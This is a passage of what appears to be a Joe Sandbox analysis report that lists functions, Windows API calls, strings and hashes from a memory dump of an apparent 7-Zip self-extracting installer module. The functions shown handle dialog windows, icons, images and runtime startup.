Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?), ref: 00403483
GetParent.USER32(?), ref: 00403491
LoadLibraryA.KERNEL32(riched20), ref: 004034A5
GetMenu.USER32(?), ref: 004034B8
SetThreadLocale.KERNEL32(00000419), ref: 004034C5
CreateWindowExW.USER32(00000000,RichEdit20W,0041A584,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004034F5
DestroyWindow.USER32(?), ref: 00403506
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 0040351B
GetSysColor.USER32(0000000F), ref: 0040351F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0040352D
SendMessageW.USER32(00000000,00000461,?,?), ref: 00403558
??3@YAXPAX@Z.MSVCRT(?), ref: 0040355D
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403565

Strings

{\rtf, xrefs: 0040346C
RichEdit20W, xrefs: 004034EF
riched20, xrefs: 004034A0
STATIC, xrefs: 00403440

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction ID: e5fea360a7eb9894b086cd4675cd9c6500acd79176ce5b6afcc660833785d9d0
Opcode Fuzzy Hash: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction Fuzzy Hash: 67317F72901109BFDB01AFA5DC49EEF7BBCEB08705F10407AF604F6190DA799E518B6A

Function 00408E76 Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
LoadIconW.USER32(00000000), ref: 00408EA2
GetSystemMetrics.USER32(00000032), ref: 00408EB6
GetSystemMetrics.USER32(00000031), ref: 00408EBB
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
LoadImageW.USER32(00000000), ref: 00408EC7
SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
GetDlgItem.USER32(?,000004B2), ref: 00408F0C
GetDlgItem.USER32(?,000004B2), ref: 00408F16
GetWindowLongW.USER32(?,000000F0), ref: 00408F22
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
GetDlgItem.USER32(?,000004B5), ref: 00408F3F
GetDlgItem.USER32(?,000004B5), ref: 00408F4D
GetWindowLongW.USER32(?,000000F0), ref: 00408F59
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
GetWindow.USER32(?,00000005), ref: 0040904E
GetWindow.USER32(?,00000005), ref: 0040906A
GetWindow.USER32(?,00000005), ref: 00409082
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00409240), ref: 004090E2
LoadIconW.USER32(00000000), ref: 004090E9
GetDlgItem.USER32(?,000004B1), ref: 00409108
SendMessageW.USER32(00000000), ref: 0040910B

Part of subcall function 00408270: GetDlgItem.USER32(?,?), ref: 0040827A
Part of subcall function 00408270: GetWindowTextLengthW.USER32(00000000), ref: 00408281

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 3694754696-0
Opcode ID: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction ID: 99f397414dc97442f2ad5b2e660166812613d2f2543b201c56f9d92a48738ce2
Opcode Fuzzy Hash: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction Fuzzy Hash: B971E6703047056BEA216B21DD4AF2B3659EF84714F10443EF652BA2E3CFBDAC018A5E

Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004021B4
GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
GetObjectW.GDI32(?,00000018,?), ref: 00402208
MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
CreateCompatibleDC.GDI32(?), ref: 0040222B
CreateCompatibleDC.GDI32(?), ref: 00402232
SelectObject.GDI32(00000000,?), ref: 00402240
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
SelectObject.GDI32(00000000,00000000), ref: 00402256
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
SelectObject.GDI32(00000000,?), ref: 00402293
SelectObject.GDI32(00000000,?), ref: 00402299
DeleteDC.GDI32(00000000), ref: 004022A2
DeleteDC.GDI32(00000000), ref: 004022A5
ReleaseDC.USER32(00000000,?), ref: 004022AC
ReleaseDC.USER32(00000000,?), ref: 004022BB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66

Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 004022E5
lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
GetWindowLongW.USER32(?,000000F0), ref: 0040230F
GetMenu.USER32(?), ref: 00402324

Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
memcpy.MSVCRT(00000000,00000000,00000010), ref: 00402363
CoInitialize.OLE32(00000000), ref: 0040236C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
GlobalFree.KERNEL32(00000000), ref: 004023AD

Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC

GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
GlobalFree.KERNEL32(00000000), ref: 0040241A

Strings

IMAGES, xrefs: 0040232E
STATIC, xrefs: 004022F3

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69

Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00407A80
GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
GetDlgItem.USER32(?,000004B4), ref: 00407ABC
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
GetSystemMetrics.USER32(00000010), ref: 00407B43
GetSystemMetrics.USER32(00000011), ref: 00407B49
GetSystemMetrics.USER32(00000008), ref: 00407B50
GetSystemMetrics.USER32(00000007), ref: 00407B57
GetParent.USER32(?), ref: 00407B7B
GetClientRect.USER32(00000000,?), ref: 00407B8D
ClientToScreen.USER32(?,?), ref: 00407BA0
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
GetClientRect.USER32(?,?), ref: 00407CA0

Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E

ClientToScreen.USER32(?,?), ref: 00407BA9

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetSystemMetrics.USER32(00000008), ref: 00407D25
GetSystemMetrics.USER32(00000007), ref: 00407D2C

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65

Function 004036F6 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,0041E3F0,00000000), ref: 0040377F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,0041E3F0,00000000), ref: 00403787
??3@YAXPAX@Z.MSVCRT(00404A6A,?), ref: 004039AD

Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 00402996
Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 0040299D

??3@YAXPAX@Z.MSVCRT(00404A6A,?,?,00000000,00000000,0041E3F0,00000000), ref: 004039DA

Strings

{\rtf, xrefs: 0040387A, 0040388F
SetEnvironment, xrefs: 00403909

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@
String ID: SetEnvironment${\rtf
API String ID: 613200358-318139784
Opcode ID: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction ID: 401acfcb82d7e6738f93d8480f5cee0d093a2887585a601c22b507f4e5910529
Opcode Fuzzy Hash: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction Fuzzy Hash: B991C372900108ABDF11AFD5D941AEEBBB8AF14309F2480BBE841772D2D7785B06DB59

Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0041948C
__p__fmode.MSVCRT ref: 004194A1
__p__commode.MSVCRT ref: 004194AF
__setusermatherr.MSVCRT ref: 004194DB
_initterm.MSVCRT ref: 004194F1
__getmainargs.MSVCRT ref: 00419514
_initterm.MSVCRT ref: 00419524
GetStartupInfoA.KERNEL32(?), ref: 00419563
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00419587
exit.MSVCRT ref: 00419597
_XcptFilter.MSVCRT ref: 004195A9

Strings

pA, xrefs: 0041950C, 0041950F

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: pA
API String ID: 801014965-794713698
Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59

Function 00407F86 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407F94
GetWindowLongW.USER32(00000000), ref: 00407F9B
DefWindowProcW.USER32(?,?,?,?), ref: 00407FB1
CallWindowProcW.USER32(?,?,?,?,?), ref: 00407FCE
GetSystemMetrics.USER32(00000031), ref: 00407FE0
GetSystemMetrics.USER32(00000032), ref: 00407FE7
GetWindowDC.USER32(?), ref: 00407FF9
GetWindowRect.USER32(?,?), ref: 00408006
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 0040803A
ReleaseDC.USER32(?,00000000), ref: 00408042

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction ID: 8ffa6a621c4839b38abe7fa2179ce9be6ee40ef55f84cce8d9fec75f1bbbc175
Opcode Fuzzy Hash: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction Fuzzy Hash: 8D214F7650021ABFCB019FB8DD48EEF3B69FB08351F004525FA11E2291CB35D920CB65

Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetDlgItem.USER32(?,000004B6), ref: 004094A8
DestroyWindow.USER32(00000000), ref: 004094AB
CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
GetDlgItem.USER32(?,000004B6), ref: 004094FE
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
GetDlgItem.USER32(?,000004B6), ref: 00409512
SetFocus.USER32(00000000), ref: 00409515

Strings

Edit, xrefs: 004094D7

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D

Function 00403E98 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403EDF

Part of subcall function 00402D03: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00402D76

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403F05
wsprintfA.USER32 ref: 00403F27
wsprintfA.USER32 ref: 00403F54

Strings

:Language:%u, xrefs: 00403F4E
:%hs, xrefs: 00403F21
;!@InstallEnd@!, xrefs: 00403EB3
;!@Install@!UTF-8!, xrefs: 00403EA4

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-695273242
Opcode ID: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction ID: 886d926ed7ba0351d4e9ba57da7cb0629939e873fb03075975f52044c447bd08
Opcode Fuzzy Hash: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction Fuzzy Hash: 15218F71A005187BDB05EAA59C86EFE73ADAB48704F14402EF504E31D1CB7DAA068799

Function 0040778B Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040779F
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B2
GetDlgItem.USER32(?,000004B4), ref: 004077BC
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C4
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D4
GetDlgItem.USER32(?,?), ref: 004077DD
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077E5
GetDlgItem.USER32(?,?), ref: 004077EE
SetFocus.USER32(00000000,?,?,00000000,00408726,000004B3,00000000,?,000004B3), ref: 004077F1

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction ID: d34367ada3e0903658dac9af1ca1aef10e4e5856eabac84c2cebdb26553fe681
Opcode Fuzzy Hash: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction Fuzzy Hash: A4F04F712403087BEA216B61DD86F9BBB5EDF80B54F018425F354661F0CBF7AC209A29

Function 00407E01 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,0041E470,00000160), ref: 00407E20
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00407E3F
GetDC.USER32(00000000), ref: 00407E4A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407E56
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407E65
ReleaseDC.USER32(00000000,?), ref: 00407E73
GetModuleHandleW.KERNEL32(00000000), ref: 00407E9B
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00007643), ref: 00407ED0

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction ID: 8154b001b0011d5121478cb58b91efa441906eea3886e432abe560883a3f5ac4
Opcode Fuzzy Hash: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction Fuzzy Hash: 8421C375941318BFD7215BA1DD48EEB7B7CFF04301F0040B6FA09A2291D7744E948B6A

Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040797F
GetSystemMetrics.USER32(0000000B), ref: 0040799B
GetSystemMetrics.USER32(0000003D), ref: 004079A4
GetSystemMetrics.USER32(0000003E), ref: 004079AC
SelectObject.GDI32(?,?), ref: 004079C9
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
SelectObject.GDI32(?,?), ref: 00407A0A
ReleaseDC.USER32(?,?), ref: 00407A19

Memory Dump Source

